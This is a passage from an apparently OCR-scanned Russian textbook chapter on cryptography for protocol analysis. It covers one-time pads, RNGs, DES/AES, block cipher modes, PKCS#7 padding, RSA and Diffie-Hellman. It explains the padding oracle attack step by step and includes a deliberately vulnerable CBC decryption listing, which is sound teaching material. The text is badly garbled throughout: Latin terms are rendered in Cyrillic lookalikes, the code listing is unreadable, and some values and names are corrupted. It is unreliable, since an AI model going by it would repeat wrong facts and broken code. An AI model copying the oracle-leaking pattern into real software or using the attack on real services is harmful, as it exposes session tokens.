мера, что и сообщение для отправителя и получателя. Единственный 
способ обезопасить одноразовый блокнот - это зашифровать каждый 
байт сообщения полностью случайным значением. Кроме того, вы 
не сможете повторно использовать ключ одноразового блокнота для 
разных сообщений, потому что если злоумышленник сможет один 
раз расшифровать ваше сообщение, то сможет восстановить ключ, 
и последующие сообщения, зашифрованные с помощью того же клю- 
ча, будут скомпрометированы. 

Если ХОВ-шифрование настолько плохое, зачем вообще упоми- 
нать о нем? Ну, хотя оно и небезопасно, разработчики по-прежнему 
используют его из-за своей лени, потому что его легко реализовать. 
ХОВ-шифрование также используется в качестве примитива для соз- 
дания более безопасных алгоритмов шифрования, поэтому важно по- 
нимать, как оно работает. 


Генераторы случайных чисел 


Криптографические системы в значительной степени полагаются на 
случайные числа надлежащего качества. В этой главе вы увидите, как 
они используются в качестве сеансовых ключей, векторов инициа- 
лизации и больших простых чисел р и 4 для алгоритма ВЅА. Одна- 
ко получить по-настоящему случайные данные сложно, потому что 
компьютеры по своей природе детерминированы: любая отдельно 
взятая программа должна выдавать один и тот же результат при оди- 
наковых исходных данных и состоянии. 

Один из способов получения относительно непредсказуемых дан- 
ных - выборка физических процессов. Например, можно отсчитывать 
время нажатия пользователем клавиши на клавиатуре или опреде- 
лить источник электрического шума, например тепловой шум в ре- 
зисторе. Проблема с источниками такого типа заключается в том, что 
они предоставляют мало данных - возможно, в лучшем случае всего 
несколько сотен байт в секунду, чего недостаточно для криптографи- 
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ческой системы общего назначения. Для простого 4096-битного клю- 
ча В5А требуется как минимум два случайных 256-байтовых числа, 
и чтобы сгенерировать его, потребуется несколько секунд. 

Чтобы пойти дальше, криптографические библиотеки реализуют 
генераторы псевдослучайных чисел (ГПСЧ), использующие начальное 
значение и генерирующие последовательность чисел, которая теоре- 
тически не должна быть предсказуемой без знания внутреннего со- 
стояния генератора. Качество генераторов сильно различается в за- 
висимости от библиотек: функция библиотеки С, гапд(), например, 
совершенно бесполезна для криптографически безопасных прото- 
колов. Распространенной ошибкой является использование слабого 
алгоритма, чтобы генерировать случайные числа для криптографи- 
ческих целей. 


Симметричное шифрование 


Единственный безопасный способ зашифровать сообщение - отпра- 
вить полностью случайный ключ того же размера, что и сообщение до 
шифрования, как одноразовый блокнот. Конечно, мы не хотим иметь 
дело с такими большими ключами. К счастью, вместо этого можно 
создать алгоритм симметричного шифрования, который использует 
математические конструкции для создания безопасного шифра. По- 
скольку размер ключа значительно короче, чем размер сообщения, 
которое вы хотите отправить, и не зависит от того, какой объем дол- 
жен быть зашифрован, его легче распространять. 

Если используемый алгоритм не имеет очевидных слабых мест, 
ограничивающий фактор безопасности - это размер ключа. Если 
ключ короткий, то злоумышленник сможет воспользоваться методом 
полного перебора, пока не найдет правильный. 

Существует два основных типа симметричных шифров: блочные 
и потоковые. У каждого из них есть свои преимущества и недостатки, 
и выбор неправильного шифра для использования в протоколе может 
серьезно повлиять на безопасность сетевых коммуникаций. 


Блочные шифры 


Многие известные алгоритмы с симметричным ключом, такие как 
Айуапсей ЕпсгурНоп 5{1апаага (АЕ$) и аа Епсгурііоп Запаата (реЕ$), 
шифруют и дешифруют фиксированное количество битов (извест- 
ное как блок) каждый раз, когда применяется алгоритм шифрова- 
ния. Чтобы зашифровать или расшифровать сообщение, алгоритму 
требуется ключ. Если сообщение длиннее, чем размер блока, его не- 
обходимо разбить на блоки меньшего размера, и алгоритм приме- 
няется к каждому из них по очереди. Каждое применение алгоритма 
используется один и тот же ключ, как показано на рис. 7.3. Обратите 
внимание, что один и тот же ключ используется для шифрования 
и дешифрования. 
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Блок открытого текста 


Ключ 


Блок шифротекста 


Блок шифротекста 


Шифрование 


Расшифровка 


Блок открытого текста 


Рис. 7.3. Блочный шифр 


Когда для шифрования используется алгоритм с симметричным 
ключом, блок обычного текста комбинируется с ключом, как описано 
в алгоритме, что приводит к генерации шифротекста. Если мы затем 
применим алгоритм дешифрования в сочетании с ключом к шифро- 
тексту, то восстановим исходный обычный текст. 


рЕЅ 


Вероятно, самый старый блочный шифр, все еще используемый в со- 
временных приложениях, - это рЕ$, который изначально был разра- 
ботан ІВМ (под именем ГисНег) и опубликован как Федеральный стан- 
дарт обработки информации (ЕІРЅ) в 1979 г. Алгоритм использует 
сеть Фейстеля для реализации процесса шифрования. Сеть Фейстеля, 
распространенная во многих блочных шифрах, работает по принципу 
многократного применения функции к входным данным в течение 
нескольких раундов. Функция принимает в качестве входных данных 
значение из предыдущего раунда (исходный открытый текст), а так- 
же конкретный подключ, полученный из исходного ключа с исполь- 
зованием алгоритма планирования ключей. 

Алгоритм ОЕЗ использует 64-битный размер блока и 64-битный 
ключ. Однако он требует, чтобы для проверки ошибок использова- 
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лось 8 бит ключа, поэтому эффективный ключ состоит всего из 56 бит. 
В результате получается очень маленький ключ, который не подходит 
для современных приложений, что доказал в 1998 г. взломщик ОЕ$З – 
машина, созданная Е1Іесігопіс ЕгопЧег ЕоипдаНоп для выполнения 
перебора поиска в ключевом пространстве шифра РОЕ$. Ему удалось 
обнаружить неизвестный ключ рЕѕ примерно за 56 часов. В то время 
нестандартное оборудование стоило около 250 000 долларов; совре- 
менные облачные инструменты взлома могут взломать ключ менее 
чем за день, и это обойдется гораздо дешевле. 


Тгіріе ОЕЅ 


Вместо того чтобы полностью отказаться от рЕ$, криптографы раз- 
работали модифицированную форму, в которой этот алгоритм при- 
меняется трижды. Алгоритм ТгірІе РЕЗ (ТОЕ$ или 3рЕЅ) использует 
три отдельных ключа РЕЗ, обеспечивая эффективный размер ключа 
168 бит (хотя можно доказать, что безопасность на самом деле ниже, 
чем можно было бы предположить по размеру). Как показано на 
рис. 7.4, в Тгіріе РЕЅ функция шифрования сначала применяется к от- 
крытому тексту с помощью первого ключа. Затем вывод дешифруется 
с помощью второго ключа. После этого вывод снова зашифровыва- 
ется с использованием третьего ключа, в результате чего получается 
окончательный зашифрованный текст. Для дешифрования выполня- 
ются обратные операции. 


Блок открытого текста 


Шифрование 
С ИСПОЛЬЗО- Расшифровка 
Ключ 1 ванием с ИСПОЛЬЗО- Шифрование 


алгоритма ванием С ИСПОЛЬЗО- 
рЕ5 алгоритма ванием 
рЕѕ алгоритма 


реѕ 


Блок шифротекста 


Рис. 7.4. Процесс шифрования с использованием ТгірІе РЕ5 


АЕЅ 


Гораздо более современный алгоритм шифрования - АЕ$ на базе алго- 
ритма Віјпаае]. АЕЅ использует фиксированный размер блока 128 бит 
и может применятьть ключи трех разных длин: 128, 192 и 256 бит; 
иногда их называют АЕ 5128, АЕ$ 192 и АЕ$256 соответственно. Вместо 
сети Фейстеля АЕЅ использует подстановочно-перестановочную сеть, 
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которая состоит из двух основных компонентов: блоков подстанов- 
ки (5-блок) и блоков перестановок (Р-блок). Два компонента объеди- 
нены в цепочку, чтобы сформировать единый цикл алгоритма. Как 
и в случае с сетью Фейстеля, этот раунд можно применять несколько 
раз с разными значениями $-блока и Р-блока для получения зашиф- 
рованного вывода. 

$-блок - это базовая таблица сопоставления, мало чем отличаю- 
щаяся от простого шифра подстановки. Он принимает входные 
данные, просматривает их в таблице и выдает результат. Посколь- 
ку 5-блок использует большую отдельную таблицу поиска, это очень 
помогает при идентификации конкретных алгоритмов. Отдельная 
таблица поиска предоставляет очень большую сигнатуру, которую 
можно обнаружить в исполняемых файлах приложения. Я рассказы- 
вал об этом более подробно в главе 6, когда мы обсуждали методы 
поиска неизвестных криптографических алгоритмов с помощью 
двоичных файлов. 


Другие блочные шифры 


РЕЗ и АЕ$ - это наиболее часто встречающиеся блочные шифры, но 
есть и другие, например те, что перечислены в табл. 7.1. 


Таблица 7.1. Распространенные алгоритмы блочного шифрования 


Название Размер блока (в битах) Размер ключа (в битах) Дата создания 
"Раѓа Епсгурїіоп Ѕїапаага (0Е5) 64 56 1979 

Віоуућѕћ 64 52-448 1995 

Тгіріе Оаїа ЕпсгурНоп 5{апаага 64 56, 112, 168 1998 
(Т0Е5/30Е$) 

Ѕегрепї 128 128,192, 256 1998 

Тууоћѕћ 128 128, 192, 256 1998 

СатеШа 128 128,192, 256 2000 
Аадуапсеа Епсгурііоп Ѕќапаага (АЕ$) 128 128, 192, 256 2001 


Размер блока и ключа помогает определить, какой шифр использу- 
ет протокол, в зависимости от способа указания ключа или того, как 
зашифрованные данные делятся на блоки. 


Режимы блочного шифрования 


Алгоритм блочного шифрования определяет, как шифр работает 
с блоками данных. Сам по себе алгоритм имеет некоторые слабые 
места, в чем вы скоро убедитесь. Поэтому в реальном протоколе 
обычно используется блочный шифр в сочетании с другим алгорит- 
мом, который называется режимом работы. Этот режим обеспечивает 
дополнительные свойства безопасности, например делает результат 
шифрования менее предсказуемым. Иногда режим также изменяет 
работу шифра, скажем преобразовывая блочный шифр в потоковый 
(о котором речь пойдет в разделе «Потоковые шифры»). Рассмотрим 
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некоторые наиболее распространенные режимы, а также их свойства 
и недостатки с точки зрения безопасности. 


Режим электронной кодовой книги 


Самый простой из вариантов использования симметричного блоч- 
ного шифра по умолчанию - это режим электронной кодовой книги 
(ЕСВ). В ЕСВ алгоритм шифрования применяется к каждому блоку 
фиксированного размера из открытого текста для генерации серии 
блоков шифротекста. Размер блока определяется используемым ал- 
горитмом. Например, если шифром является АЕЅ, каждый блок в ре- 
жиме ЕСВ должен иметь размер 16 байт. Открытый текст делится на 
отдельные блоки, и применяется алгоритм шифрования. (На рис. 7.3 
показан режим ЕСВ в действии.) 

Поскольку каждый блок открытого текста шифруется независимо 
в ЕСВ, он всегда будет шифровать один и тот же блок шифротекста. 
Как следствие ЕСВ не всегда скрывает крупномасштабные структу- 
ры в открытом тексте, как в растровом изображении, показанном на 
рис. 7.5. Кроме того, злоумышленник может повредить расшифрован- 
ные данные или манипулировать ими в независимом шифровании 
блоков, перемещая блоки шифротекста перед дешифрованием. 


Шифрование 
с использованием 
режима ЕСВ 


Исходное изображение Зашифрованное изображение 


Рис. 7.5. ЕСВ-шифрование растрового изображения 


Режим сцепления блоков шифротекста 


Еще один распространенный режим - это режим сцепления блоков 
шифротекста (СВС), который более сложен, чем ЕСВ, и позволяет из- 
бежать его ошибок. В СВС шифрование одного блока открытого текста 
зависит от зашифрованного значения предыдущего блока. Для пре- 
дыдущего зашифрованного блока применяется операция ХОК с теку- 
щим блоком открытого текста, а затем к этому результату применя- 
ется алгоритм шифрования. На рис. 7.6 показан пример применения 
СВС к двум блокам. 

В верхней части рис. 7.6 показаны исходные блоки открытого текс- 
та. Нижняя часть представляет собой шифротекст, сгенерированный 
путем применения алгоритма блочного шифрования, а также режима 
СВС. Перед тем как каждый блок открытого текста будет зашифрован, 
открытый текст подвергается операции ХОК с предыдущим зашиф- 
рованным блоком. После этого применяется алгоритм шифрования. 
Это гарантирует, что шифротекст, который мы получаем на выходе, 
зависит от открытого текста, а также от предыдущих блоков. 
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Блок открытого текста 0 


10 


Шифро- 
вание 


Блок шифротекста 1 


Рис. 7.6. Режим сцепления блоков шифротекста 


Поскольку первый блок открытого текста не имеет предыдущего 
блока шифротекста, с которым можно было бы выполнить операцию 
ХОК, вы комбинируете его с выбранным вручную или случайно сге- 
нерированным блоком, который называется вектором инициализации 
(ВИ). Если ВИ генерируется случайным образом, он должен быть от- 
правлен с зашифрованными данными, иначе получатель не сможет 
расшифровать первый блок сообщения. (Использование фиксирован- 
ного ВИ является проблемой, если для всех коммуникаций использу- 
ется один и тот же ключ, потому что если одно и то же сообщение за- 
шифровано несколько раз, это всегда будет один и тот же шифротекст.) 
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Чтобы выполнить дешифрование, операции шифрования выпол- 
няются в обратном порядке: дешифрование происходит от конца со- 
общения к началу. Каждый блок зашифрованного текста расшифро- 
вывается с помощью ключа, и на каждом шаге выполняется операция 
ХОК для расшифрованного блока с зашифрованным блоком, который 
предшествует ему в шифротексте. 


Альтернативные режимы 


Доступны и другие режимы работы алгоритмов блочного шифрова- 
ния, включая те, что могут преобразовывать блочный шифр в потоко- 
вый, и специальные режимы, такие как режим счетчика Галуа (ССМ), 
которые обеспечивают целостность и конфиденциальность данных. 
В табл. 7.2 перечислено несколько распространенных режимов и ука- 
зано, генерируют они блочный или потоковый шифр (о котором я рас- 
скажу в разделе «Потоковые шифры»). Подробное описание каждого из 
этих режимов выходит за рамки данной книги, но эту таблицу можно 
использовать в качестве руководства для дальнейших исследований. 


Таблица 7.2. Распространенные режимы работы алгоритмов блочного шифрования 


Название Сокращенное обозначение Тип режима 

Режим электронной кодовой книги ЕСВ Блочный 

Режим сцепления блоков шифротекста СВС Блочный 

Режим обратной связи по выходу ОЕВ Потоковый 

Режим обратной связи по шифротексту СЕВ Потоковый 

Режим счетчика СТК Потоковый 

Режим счетчика с аутентификацией Галуа ССМ Потоковый с целостностью 


данных 


Дополнение (райаїіпд) 


Блочные шифры работают с блоком сообщения фиксированного раз- 
мера: блоком. Но что, если вам нужно зашифровать один байт дан- 
ных, а размер блока составляет 16 байт? Здесь в игру вступают схемы 
дополнения. Они определяют, как обрабатывать неиспользованный 
остаток блока во время шифрования и дешифрования. 

Самый простой подход – дополнить пространство блока опреде- 
ленным известным значением, например байтом с повторяющимся 
нулем. Но когда вы расшифровываете блок, как отличить байты до- 
полнения от значимых данных? Некоторые сетевые протоколы ука- 
зывают поле явной длины, которое можно использовать для удаления 
дополнения, но не всегда можно полагаться на него. 

Одна из схем, которая решает эту проблему, определена в Стандар- 
те криптографии с открытым ключом #7 (РКС #7). В этой схеме для 
всех заполненных байтов установлено значение, которое представля- 
ет, сколько байтов с дополнением присутствует. Например, если при- 
сутствуют три байта, каждому байту присваивается значение 5, как 
показано на рис. 7.7. 
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5 байт данных 5 байта дополнения 
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5 байта данных 5 байт дополнения 
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Рис. 7.7. Примеры дополнения РКС$ # 7 


Что делать, если дополнение не нужно? Например, что, если послед- 
ний блок, который вы шифруете, уже имеет правильную длину? Если 
вы просто зашифруете последний блок и передадите его, алгоритм 
дешифрования будет интерпретировать достоверные данные как 
часть дополненного блока. Чтобы устранить эту двусмысленность, ал- 
горитм шифрования должен отправить последний фиктивный блок, 
который содержит только дополнение, чтобы сообщить алгоритму 
дешифрования, что последний блок можно отбросить. 

Когда дополненный блок расшифровывается, процесс дешифрова- 
ния может легко проверить количество присутствующих байтов до- 
полнения. Процесс дешифрования считывает последний байт в бло- 
ке, чтобы определить ожидаемое количество байтов дополнения. 
Например, если считывается значение 3, он знает, что должно при- 
сутствовать три байта. Затем считываются два других байта ожида- 
емого дополнения, чтобы проверить, что каждый байт также имеет 
значение 3. Если дополнение неверно, потому что все ожидаемые 
байты имеют разное значение, или значение дополнения находится 
вне допустимого диапазона (значение должно быть меньше или рав- 
но размеру блока и больше 0), то возникает ошибка, которая может 
привести к сбою процесса дешифрования. Сбой сам по себе является 
мерой предосторожности. 


Атака рааатд огасіе 


Серьезная брешь в системе безопасности, позволяющая осуществить 
атаку рад4те огае, возникает, когда режим сцепления блоков шиф- 
ротекста сочетается со схемой дополнения РКС #7. Эта атака позво- 
ляет злоумышленнику расшифровать данные, а в некоторых случаях 
зашифровать свои собственные данные (например, токен сеанса), ко- 
торые отправляются по этому протоколу, даже если он не знает ключ. 
Если злоумышленник сможет расшифровать токен сеанса, то у него 
получится восстановить конфиденциальную информацию. Но если 
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он сможет зашифровать токен, то ему удастся обойти средства конт- 
роля доступа на сайте. 

Например, рассмотрим листинг 7.1, в котором данные из сети рас- 
шифровываются с помощью закрытого ключа Е. 


Листинг 7.1. Простое дешифрование с помощью ОЕ5-ключа 


деҒ десгурё ѕеѕѕіоп_ Ёокеп(Буёе Кеу[]) 
{ 
® Буїе іу[] = геад Бу+еѕ(8); 

Буе Ёокеп[] = геа о епа(); 


Ө Боо1 еггог = йеѕ_сЬс_йесгур(Кеу, іу, їокеп); 


1#(еггог) { 

Ө мгіёе ѕігіпао( "ЕВВОВ"); 
} е1ѕе { 

Ө мгіїе Ѕігіпо("0ССЕЅ5"); 
} 


Код считывает вектор инициализации и зашифрованные данные 
из сети ® и передает их процедуре дешифрования рЕѕ СВС, используя 
внутренний ключ приложения Ө. В этом случае расшифровывается 
токен клиентского сеанса. Этот вариант использования распростра- 
нен среди фреймворков веб-приложений, где клиент фактически не 
имеет состояния и должен отправлять токен с каждым запросом для 
проверки личности. 

Функция дешифрования возвращает состояние ошибки, которое сиг- 
нализирует о том, удалось ли выполнить дешифрование. Если произо- 
шел сбой, она отправляет клиенту строку ЕААОК Ө; в противном случае 
отправляется строка 50ССЕЅ5 Ө. Следовательно, этот код предоставляет 
злоумышленнику информацию об успешном или неудачном дешифро- 
вании произвольного зашифрованного блока от клиента. Кроме того, 
если код использует РКСЅ#7 для дополнения и возникает ошибка (по- 
скольку дополнение не соответствует правильному шаблону в послед- 
нем расшифрованном блоке), злоумышленник может использовать эту 
информацию для осуществления атаки раййіпе огасІе, а затем расшиф- 
ровать блок данных, который он отправил уязвимой службе. 

В этом и состоит суть данной атаки: обращая внимание на то, 
успешно ли сетевая служба расшифровала зашифрованный при по- 
мощи СВС блок, злоумышленник может определить базовое неза- 
шифрованное значение блока. (Термин огасіе относится ктому факту, 
что злоумышленник может задать службе вопрос и получить в ответ 
{тие или Ёа[5е. В частности, в данном случае злоумышленник может 
спросить, является ли дополнение для зашифрованного блока, кото- 
рый он отправил службе, действительным.) 

Чтобы лучше понять, как работает эта атака, вернемся к тому, как 
СВС расшифровывает отдельный блок. На рис. 7.8 показана расшиф- 
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ровка блока данных, зашифрованных с помощью СВС. В этом при- 
мере открытый текст - это строка Нео с тремя байтами дополнения 
РКС$ #7 после нее. 


Расшифровка с использованием алгоритма рЕ5 


Расшифровано 


"Н' 1" 1" Ре 


о 
0х48 0х65 | 0х6С | 0х6С 0хбЕ а 


Открытый текст 


Рис. 7.8. Расшифровка СВС с вектором инициализации 


Запрашивая веб-службу, злоумышленник получает прямой конт- 
роль над исходным шифротекстом и вектором инициализации. По- 
скольку каждый байт открытого текста подвергается операции ХОК 
с байтом этого вектора на заключительном этапе дешифрования, 
злоумышленник может напрямую управлять выводом в виде откры- 
того текста, изменяя соответствующий байт в векторе. В примере, по- 
казанном на рис. 7.8, последний байт расшифрованного блока - это 
Ох2В, который подвергается операции ХОК с байтом ІУ 0х28 и выво- 
дит 0х03, байт дополнения. Но если изменить последний байт вектора 
инициализации на ОхЕЕ, то последний байт шифротекста расшифро- 
вывается в 0хр4, который больше не является допустимым байтом 
дополнения, и служба дешифрования возвращает ошибку. 

Теперь у злоумышленника есть все необходимое, чтобы вычислить 
значение дополнения. Он выполняет запрос к веб-службе с помощью 
фиктивных шифротекстов, пробуя все возможные значения для по- 
следнего байта в векторе инициализации. Всякий раз, когда получае- 
мое в итоге расшифрованное значение не равно 0х01 (или случайно 
другой допустимый порядок дополнения), расшифровка возвращает 
ошибку. Но если значение допустимо, то расшифровка вернет 50ССЕ5$5. 

С помощью этой информации злоумышленник может определить 
значение этого байта в расшифрованном блоке, даже если у него нет 
ключа. Например, злоумышленник отправляет последний байт век- 
тора инициализации - 0х2А. Расшифровка возвращает 50ССЕ55, а это 
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означает, что расшифрованный байт, обработанный операцией ХОВ 
с 0х2А, должен быть равен 0х01. Теперь злоумышленник может вы- 
числить расшифрованное значение, выполняя операцию ХОК с 0х01, 
что дает 0х2В; если злоумышленник выполняет операцию ХОК с ис- 
ходным байтом вектора инициализации (0х28), то результатом будет 
0х03. Это исходное значение дополнения, как и ожидалось. 

Следующий этап атаки – использование вектора инициализации 
для генерации значения 0х02 в двух младших байтах открытого текс- 
та. Точно так же, как злоумышленник использовал метод полного 
перебора для младшего байта, теперь он может проделать то же са- 
мое и со следующим байтом. Затем, поскольку злоумышленник знает 
значение младшего байта, можно установить для него значение 0х02 
с соответствующим значением вектора инициализации. После этого 
он может применить метод полного перебора ко второму младше- 
му байту до тех пор, пока дешифрование не будет успешным, а это 
означает, что второй байт при расшифровке теперь равен 0х02. По- 
вторяя этот процесс до тех пор, пока не будут вычислены все байты, 
злоумышленник может использовать эту технику для дешифрования 
любого блока. 


Потоковые шифры 


В отличие от блочных шифров, которые шифруют блоки сообщения, 
потоковые шифры работают на уровне отдельного бита. Наиболее 
распространенный алгоритм, используемый для потоковых шифров, 
генерирует псевдослучайный поток битов, поток ключей, из началь- 
ного ключа. Затем этот поток арифметически применяется к сообще- 
нию, обычно с использованием операции ХОК для создания шифро- 
текста, как показано на рис. 7.9. 


й р 'е' 'т' "т" 'о' 
ткрытый текст 0х65 0х6С 0х6С Ох6Е 


Ф Ф Ф Ф Ф Операция ХОК 


Рис. 7.9. Операция потокового шифрования 


Пока арифметическая операция обратима, все, что нужно для рас- 
шифровки сообщения, – сгенерировать тот же поток ключей, который 
используется для шифрования, и выполнить обратную арифметиче- 
скую операцию над шифротекстом. (В случае с ХОК обратная операция 
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на самом деле является операцией ХОК.) Поток можно сгенерировать 
с использованием полностью настраиваемого алгоритма, такого как 
ВС4, или блочного шифра и сопутствующего режима шифрования. 

В табл. 7.3 перечислены распространенные алгоритмы, которые 
можно встретить в реальных приложениях. 


Таблица 7.3. Распространенные алгоритмы потокового шифрования 


Название Размер ключа (в битах) Дата создания 
А5/1 и А5/2 (используются для шифрования 54 или 64 1989 

голоса в 65М) 

КС4 До 2048 1993 

Режим счетчика Зависит от блочного шифра Нет данных 
Режим обратной связи по выходу Зависит от блочного шифра Нет данных 
Режим обратной связи по шифротексту Зависит от блочного шифра Нет данных 


Асимметричное шифрование 


Криптография с симметричным ключом обеспечивает хороший ба- 
ланс между безопасностью и удобством, но у него есть существенная 
проблема: участникам сети необходимо физически обмениваться се- 
кретными ключами. Это сложно сделать, когда сеть охватывает не- 
сколько географических регионов. К счастью, асимметричное шиф- 
рование (шифрование с открытым ключом) может помочь в решении 
этой проблемы. 

Данный алгоритм требует двух типов ключей: открытого и закры- 
того. Открытый ключ шифрует сообщение, а закрытый ключ рас- 
шифровывает его. Поскольку открытый ключ не может расшифровать 
сообщение, его можно передать кому угодно, даже в общедоступной 
сети, не опасаясь того, что злоумышленник перехватит его и исполь- 
зует для расшифровки трафика, как показано на рис. 7.10. 

Хотя открытый и закрытый ключи связаны математически, алго- 
ритмы асимметричного шифрования разработаны таким образом, 
чтобы получение закрытого ключа из открытого ключа отнимало 
много времени; они построены на математических примитивах, из- 
вестных как односторонние функции с потайным входом. (Это назва- 
ние происходит от концепции, согласно которой пройти через люк 
легко, но если он закроется, трудно будет вернуться назад.) Данные 
алгоритмы основаны на предположении, что не существует обходно- 
го пути для трудоемкого характера, лежащего в основе математики. 
Однако будущие достижения в области математики или вычисли- 
тельной мощности могут опровергнуть эти предположения. 


Алгоритм ВЅА 


Удивительно, но не так много уникальных алгоритмов асимметрич- 
ного шифрования широко используются, особенно по сравнению 
с симметричными. Алгоритм ВЅА в настоящее время наиболее часто 
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используется для защиты сетевого трафика и будет использоваться 
в обозримом будущем. Хотя новые алгоритмы основаны на матема- 
тических конструкциях, называемых эллиптическими кривыми, они 
разделяют многие общие принципы с КЅА. 


Открытый текст Шифротекст 


Шифрование Расшифровка 


Открытый 
ключ 


Закрытый ключ 


Шифротекст Открытый текст 


Рис. 710. Шифрование и дешифрование с использованием открытого ключа 


Алгоритм ВА, впервые опубликованный в 1977 г. назван в честь 
его разработчиков - Рона Ривеста, Ади Шамира и Леонарда Адлемана. 
Он основывается на предположении, согласно которому сложно раз- 
ложить на множители большие целые числа, являющиеся произведе- 
нием двух простых чисел. 

На рис. 7.11 показан процесс шифрования и дешифрования с ис- 
пользованием алгоритма КЅА. Чтобы сгенерировать новую пару клю- 
чей с помощью ВЅА, генерируются два случайных простых числа, 
риа, а затем выбирается открытая экспонента (е). (Обычно исполь- 
зуется значение 65 537, потому что оно имеет математические свой- 
ства, которые помогают обеспечить безопасность алгоритма.) Также 
нужно вычислить два других числа: модуль (п), который является про- 
изведением р и а, и закрытую экспоненту (4), которая используется 
для дешифрования. (Процесс генерирования 4 довольно сложен, и его 
описание выходит за рамки этой книги.) Открытая экспонента в со- 
четании с модулем составляет открытый ключ, а закрытая экспонен- 
та и модуль образуют закрытый ключ. 

Чтобы закрытый ключ оставался закрытым, закрытая экспонента 
должна храниться в секрете. И поскольку она генерируется из исход- 
ных простых чисел ри 4, эти два числа также нужно держать в секрете. 

Первым этапом в процессе шифрования является преобразова- 
ние сообщения в целое число. При этом обычно предполагается, что 
байты сообщения фактически представляют собой целое число пере- 
менной длины. Это целое число, т, возводится в степень открытой 
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. н' 'е' 16 с! 'о' 
Открытый текст Шифротекст (с) 
Сообщение (т) 0х48656С6С6Е 


Шифротекст (с) ОХААВВССРрЕЕ... Открытый текст 


экспоненты. Затем операция по модулю, использующая значение 
открытого модуля, п, применяется к возведенному в степень целому 
числу т. Полученный в результате шифротекст теперь имеет значе- 
ние от нуля до п. (Таким образом, если у вас есть 1024-битный ключ, 
вы можете зашифровать только максимум 1024 бит в сообщении.) 
Чтобы расшифровать сообщение, применяется тот же процесс с за- 


меной открытой экспоненты на закрытую. 
ОХААВВССРрЕЕ... 


Расшифровка 
с использованием 
закрытой 
экспоненты 


Шифрование 
с использованием 


открытой 
экспоненты 


Сообщение (т) 


0х48656С6С6Е 
н’ 'е' 16 ТЕ 'о' 
0х48 | 0х65 | 0х6С | 0х6С | 0%6 Е 


Рис. 711. Простой пример шифрования и дешифрования с использованием алгоритма К5А 


КЅА требует значительных вычислительных ресурсов, особенно что 
касается симметричных шифров, таких как АЕЅ. Чтобы уменьшить эти 
расходы, очень немногие приложения используют КЅА напрямую для 
шифрования сообщения. Вместо этого они генерируют случайный се- 
ансовый ключ и используют его для шифрования сообщения симмет- 
ричным шифром, например АЕ$. Затем, когда приложение хочет от- 
править сообщение другому участнику сети, оно шифрует только этот 
ключ с помощью В$А и отправляет его вместе с сообщением, зашифро- 
ванным с использованием АЕЅ. Сначала получатель расшифровывает 
сообщение, расшифровывая сеансовый ключ, а затем использует ключ 
для расшифровки фактического сообщения. Сочетание КЅА с симмет- 
ричным шифром, таким как АЕЅ, позволяет получить лучшее из обоих 
миров: быстрое и безопасное шифрование с открытым ключом. 


РЅА с дополнением 


Одной из слабых сторон этого базового алгоритма ВЅА является его 
детерминированность: если вы зашифруете одно и то же сообщение 
несколько раз, используя один и тот же открытый ключ, КЅА всегда 
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будет давать один и тот же зашифрованный результат. Это позво- 
ляет злоумышленнику провести так называемую атаку на основе 
подобранного открытого текста, когда у злоумышленника имеется 
доступ к открытому ключу и, следовательно, он может зашифровать 
любое сообщение. В самой простой версии этой атаки злоумышлен- 
ник просто угадывает открытый текст зашифрованного сообщения. 
Он продолжает, используя открытый ключ, и если какое-либо из за- 
шифрованных предположений совпадает со значением исходного 
зашифрованного сообщения, он знает, что успешно угадал целевой 
открытый текст. Это означает, что он эффективно расшифровал сооб- 
щение без доступа к закрытому ключу. 

Чтобы противостоять атакам на основе подобранного открытого 
текста, ВЗА использует форму дополнения во время процесса шифро- 
вания, которая обеспечивает недетерминированность зашифрован- 
ного вывода. (Это «дополнение» отличается от дополнения блочно- 
го шифра, обсуждаемого ранее. Там заполняется открытый текст до 
границы следующего блока, поэтому у алгоритма шифрования есть 
полный блок для работы.) 

В ВЗА обычно используются две схемы дополнения: одна указана 
в Стандарте криптографии с открытым ключом #1.5; другая называ- 
ется Оптимальное асимметричное шифрование с дополнением (ОАЕР). 
ОАЕР рекомендуется для всех новых приложений, но обе схемы обес- 
печивают достаточную безопасность для типичных случаев исполь- 
зования. Имейте в виду, что отсутствие дополнения с КЅА может при- 
вести к серьезной уязвимости в системе безопасности. 


Протокол Диффи-Хеллмана 


ВЗА - не единственный метод обмена ключами между участниками 
в сети. Для этой цели создано несколько алгоритмов; в первую оче- 
редь это алгоритм обмена ключами Диффи-Хеллмана. 

Он был разработан Уитфилдом Диффи и Мартином Хеллманом 
в 1976г. и, как и КЅА, основан на математических примитивах возве- 
дения в степень и модульной арифметике. Данный алгоритм позволяет 
двум участникам в сети обмениваться ключами и не дает никому, кто 
контролирует сеть, определить, что это за ключ. На рис. 7.12 показано, 
как работает этот алгоритм. 

Участник, инициирующий обмен, определяет параметр, большое прос- 
тое число, и отправляет его другому участнику: выбранное значение 
не является секретом, и его можно отправить в открытом виде. Затем 
каждый участник генерирует собственное значение закрытого ключа, 
обычно используя криптографически безопасный генератор случайных 
чисел, и вычисляет открытый ключ, используя закрытый ключ и вы- 
бранный параметр группы, который запрашивается клиентом. 

Открытые ключи можно безопасно пересылать между участни- 
ками, не опасаясь раскрытия закрытых ключей. Наконец, каждый 
участник вычисляет общий ключ путем объединения открытого клю- 
ча другого пользователя с его собственным закрытым ключом. У обо- 
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их участников теперь есть общий ключ, при этом они даже не обме- 


нивались им напрямую. 


Клиент 


Определяем 
групповой 
параметр 


Генерируем 
закрытый ключ А 


Вычисляем 
открытый ключ, 
используя 
групповой 


параметр 
и закрытый ключ А 


Объединяем 
открытый ключ В 
и закрытый 
КЛЮЧ А 


Отправляем групповой параметр 


Общедоступная сеть 


Отправляем открытый ключ 


Сервер 


Групповой 
параметр 


Генерируем 
закрытый ключ В 


Вычисляем 
открытый ключ, 
используя 
групповой 
параметр 
и закрытый ключ В 


Объединяем 
открытый ключ А 
и закрытый 
ключ В 


Общий ключ сгенерирован 


Рис. 7.12. Алгоритм обмена ключами Диффи-Хеллмана 


Данный алгоритм не идеален. Например, эта базовая версия не 
может справиться со злоумышленником, выполняющим атаку типа 
«человек посередине». Злоумышленник может выдать себя за сервер 
в сети и обменяться одним ключом с клиентом. После этого он обме- 
нивается другим ключом с сервером, в результате чего у него теперь 
есть два отдельных ключа для подключения. Затем злоумышленник 
может расшифровать данные, полученные от клиента, и переслать их 
на сервер, и наоборот. 


Алгоритмы подписи 


Шифрование сообщения не позволяет злоумышленникам просмат- 
ривать информацию, передаваемую по сети, но оно не определяет, 
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кто его отправил. Тот факт, что у кого-то есть ключ шифрования, не 
